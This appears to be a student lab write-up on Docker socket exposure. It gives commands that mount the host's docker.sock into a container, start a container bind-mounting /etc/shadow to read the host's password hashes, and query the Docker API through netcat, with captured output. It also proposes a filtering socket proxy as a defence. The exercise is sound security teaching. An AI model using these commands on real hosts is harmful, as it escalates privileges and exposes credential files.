49 lines
8.8 KiB
Plaintext
49 lines
8.8 KiB
Plaintext
a.)
|
|
|
|
I installed the docker images using the following commands:
|
|
|
|
curl http://10.42.23.1/docker/docker-cli.tar.gz | docker load
|
|
curl http://10.42.23.1/docker/alpine.tar.gz | docker load
|
|
curl http://10.42.23.1/docker/cacao.tar.gz | docker load
|
|
|
|
Then checked they exist: docker image ls
|
|
|
|
b.)
|
|
|
|
I first started the CLI container:
|
|
|
|
docker run --rm -v /var/run/docker.sock:/var/run/docker.sock -it docker:cli
|
|
|
|
When having access to this socket, you can just use all of the things Docker has available from the root system as well, so I can also mount any path from the host system directly into a new container I can just create there.
|
|
|
|
So to read /etc/hostname and /etc/shadow, I just did the following when inside the docker:cli container:
|
|
|
|
docker run --rm -v /etc/hostname:/etc/hostname -v /etc/shadow:/etc/shadow -it alpine
|
|
|
|
Using a simple `cat /etc/hostname && cat /etc/shadow` both of the files are printed.
|
|
|
|
c.)
|
|
|
|
The exploit still works like normal. This makes perfect sense as we only really need to open a connection with the socket, which is just requires a read operation (from the file system). This does not mean we restrict the connection to read-only Docker operations since Docker doesn't know about the file system permissions. Tagging the volume with :ro only means we can't do anything to change /var/run/docker.sock, but nothing else. Creating any containers still works like normal.
|
|
|
|
d.)
|
|
|
|
Yes, quite a few actually. And the best one is probably to use a proxy for the Docker socket. The idea is to basically, since the Docker socket is just a HTTP server accepting connections (simplified), to create a HTTP server pretending to be the Docker socket and forwarding all requests sent to it to the Docker socket. This however allows filtering of the requests allowing you to, for example, prevent container creations or other destructive operations from happening.
|
|
|
|
e.)
|
|
|
|
The docker CLI is only a tool to interact with the Docker socket. You can still just send a normal request to the socket avoiding the CLI completely in the first place.
|
|
|
|
After some googling I figured out I needed to just send a requests to /containers/json. Since netcat can just open unix sockets using the "local:" prefix, I was able to use the following command to connect to the Docker socket and get the list of containers:
|
|
|
|
echo -e "GET /containers/json HTTP/1.0\r\n\r\n" | nc local:/var/run/docker.sock
|
|
|
|
HTTP/1.0 200 OK
|
|
Api-Version: 1.54
|
|
Content-Type: application/json
|
|
Docker-Experimental: false
|
|
Ostype: linux
|
|
Server: Docker/29.5.3 (linux)
|
|
Date: Thu, 18 Jun 2026 11:09:29 GMT
|
|
|
|
[{"Id":"e5eee117dcebd24ab4277f019f346c773192a1141bea6c5e9f3f5e45d4bfd2fc","Names":["/stoic_gates"],"Image":"sha256:116ced376d888a19bab705b8f89c212c552d219275c0c2fa541deedec9cb5ff7","ImageID":"sha256:116ced376d888a19bab705b8f89c212c552d219275c0c2fa541deedec9cb5ff7","ImageManifestDescriptor":{"mediaType":"application/vnd.oci.image.manifest.v1+json","digest":"sha256:116ced376d888a19bab705b8f89c212c552d219275c0c2fa541deedec9cb5ff7","size":401,"annotations":{"io.containerd.image.name":"docker.io/library/alpine:latest","org.opencontainers.image.ref.name":"latest"},"platform":{"architecture":"amd64","os":"linux"}},"Command":"/bin/sh","Created":1781780891,"Ports":[],"Labels":{},"State":"running","Status":"Up About a minute","HostConfig":{"NetworkMode":"bridge"},"Health":{"Status":"none","FailingStreak":0},"NetworkSettings":{"Networks":{"bridge":{"IPAMConfig":null,"Links":null,"Aliases":null,"DriverOpts":null,"GwPriority":0,"NetworkID":"a4415ad59da98b77923ec1b401fbbaabf9279582926f8d82d6a19b310c3c57f8","EndpointID":"928df85492cdbc70149fc3ee7dbf32ee555a62f91ed8f42f12c889f841c48535","Gateway":"172.17.0.1","IPAddress":"172.17.0.3","MacAddress":"42:6f:7b:33:28:bf","IPPrefixLen":16,"IPv6Gateway":"","GlobalIPv6Address":"","GlobalIPv6PrefixLen":0,"DNSNames":null}}},"Mounts":[{"Type":"bind","Source":"/var/run/docker.sock","Destination":"/var/run/docker.sock","Mode":"","RW":true,"Propagation":"rprivate"}]},{"Id":"c07bea6e09b002b926803d1d86128c60eb19af7ff1dc8486fc786a81e118bc60","Names":["/forgejo"],"Image":"sha256:55bb42bec9abef5223744804f164e37d37b20df7e8b8b4807ba213ad4f071d6d","ImageID":"sha256:55bb42bec9abef5223744804f164e37d37b20df7e8b8b4807ba213ad4f071d6d","ImageManifestDescriptor":{"mediaType":"application/vnd.oci.image.manifest.v1+json","digest":"sha256:85ec7cdef4b583a5ee8e569ff1c5be0c0d8408bb2603cd77ff996fb1b12df95b","size":2000,"platform":{"architecture":"amd64","os":"linux"}},"Command":"/usr/bin/entrypoint /usr/bin/s6-svscan /etc/s6","Created":1781537633,"Ports":[{"IP":"0.0.0.0","PrivatePort":3000,"PublicPort":3000,"Type":"tcp"},{"IP":"::","PrivatePort":3000,"PublicPort":3000,"Type":"tcp"},{"IP":"0.0.0.0","PrivatePort":22,"PublicPort":222,"Type":"tcp"},{"IP":"::","PrivatePort":22,"PublicPort":222,"Type":"tcp"}],"Labels":{"com.docker.compose.config-hash":"247a82d43cccf475ea84807ca64f54882e3b1ffb8339db4949b457dfaab8d08a","com.docker.compose.container-number":"1","com.docker.compose.depends_on":"","com.docker.compose.image":"sha256:55bb42bec9abef5223744804f164e37d37b20df7e8b8b4807ba213ad4f071d6d","com.docker.compose.oneoff":"False","com.docker.compose.project":"forgejo","com.docker.compose.project.config_files":"/home/forgejo/compose.yaml","com.docker.compose.project.working_dir":"/home/forgejo","com.docker.compose.service":"server","com.docker.compose.version":"5.1.4","maintainer":"contact@forgejo.org","org.opencontainers.image.authors":"Forgejo","org.opencontainers.image.description":"Forgejo is a self-hosted lightweight software forge. Easy to install and low maintenance, it just does the job.","org.opencontainers.image.documentation":"https://forgejo.org/download/#container-image","org.opencontainers.image.licenses":"GPL-3.0-or-later","org.opencontainers.image.source":"https://codeberg.org/forgejo/forgejo","org.opencontainers.image.title":"Forgejo. Beyond coding. We forge.","org.opencontainers.image.url":"https://forgejo.org","org.opencontainers.image.vendor":"Forgejo","org.opencontainers.image.version":"15.0.3"},"State":"running","Status":"Up 2 days","HostConfig":{"NetworkMode":"forgejo_forgejo"},"Health":{"Status":"none","FailingStreak":0},"NetworkSettings":{"Networks":{"forgejo_forgejo":{"IPAMConfig":null,"Links":null,"Aliases":null,"DriverOpts":null,"GwPriority":0,"NetworkID":"fbf4f4ae3f2cda75527b4a61acc805b0cb09494d380ad9461d32fe7ebd385985","EndpointID":"a9b1c5af2c757ee1b25a6576a5c583c28454d12206a77ba42cb9a4f7876dd3b1","Gateway":"172.18.0.1","IPAddress":"172.18.0.2","MacAddress":"6a:5d:c9:ab:57:19","IPPrefixLen":16,"IPv6Gateway":"","GlobalIPv6Address":"","GlobalIPv6PrefixLen":0,"DNSNames":null}}},"Mounts":[{"Type":"bind","Source":"/home/forgejo/forgejo","Destination":"/data","Mode":"rw","RW":true,"Propagation":"rprivate"},{"Type":"bind","Source":"/etc/localtime","Destination":"/etc/localtime","Mode":"ro","RW":false,"Propagation":"rprivate"}]},{"Id":"ef57aa2f0b7ac6d00e7587e83e2009e8be4654bc8be6bd169bd54b6703e0379c","Names":["/jellyfin"],"Image":"sha256:aefb67e6a7ff1debdd154a78a7bbb780fd0c873d8639210a7f6a2016ad2b35db","ImageID":"sha256:aefb67e6a7ff1debdd154a78a7bbb780fd0c873d8639210a7f6a2016ad2b35db","ImageManifestDescriptor":{"mediaType":"application/vnd.docker.distribution.manifest.v2+json","digest":"sha256:0b901391a662862eddb5dc55d244d7883cbb6236ef5b9a6ea82abc78a89819f0","size":2425,"platform":{"architecture":"amd64","os":"linux"}},"Command":"/jellyfin/jellyfin","Created":1781535543,"Ports":[{"IP":"0.0.0.0","PrivatePort":7359,"PublicPort":7359,"Type":"udp"},{"IP":"::","PrivatePort":7359,"PublicPort":7359,"Type":"udp"},{"IP":"0.0.0.0","PrivatePort":8096,"PublicPort":8096,"Type":"tcp"},{"IP":"::","PrivatePort":8096,"PublicPort":8096,"Type":"tcp"}],"Labels":{"org.opencontainers.image.description":"The Free Software Media System","org.opencontainers.image.documentation":"https://jellyfin.org/docs/","org.opencontainers.image.source":"https://github.com/jellyfin/jellyfin-packaging","org.opencontainers.image.title":"Jellyfin","org.opencontainers.image.url":"https://jellyfin.org","org.opencontainers.image.version":"10.11.11"},"State":"running","Status":"Up 2 days (healthy)","HostConfig":{"NetworkMode":"bridge"},"Health":{"Status":"healthy","FailingStreak":0},"NetworkSettings":{"Networks":{"bridge":{"IPAMConfig":null,"Links":null,"Aliases":null,"DriverOpts":null,"GwPriority":0,"NetworkID":"a4415ad59da98b77923ec1b401fbbaabf9279582926f8d82d6a19b310c3c57f8","EndpointID":"a0e1ec6ab1d7ce7bd5bb3314cb163e585120d6952fffba9b968e723aafd372d9","Gateway":"172.17.0.1","IPAddress":"172.17.0.2","MacAddress":"9e:39:a6:6a:98:0f","IPPrefixLen":16,"IPv6Gateway":"","GlobalIPv6Address":"","GlobalIPv6PrefixLen":0,"DNSNames":null}}},"Mounts":[{"Type":"bind","Source":"/share","Destination":"/media","Mode":"","RW":true,"Propagation":"rprivate"},{"Type":"bind","Source":"/home/jellyfin/cache","Destination":"/cache","Mode":"","RW":true,"Propagation":"rprivate"},{"Type":"bind","Source":"/home/jellyfin/config","Destination":"/config","Mode":"","RW":true,"Propagation":"rprivate"}]}] |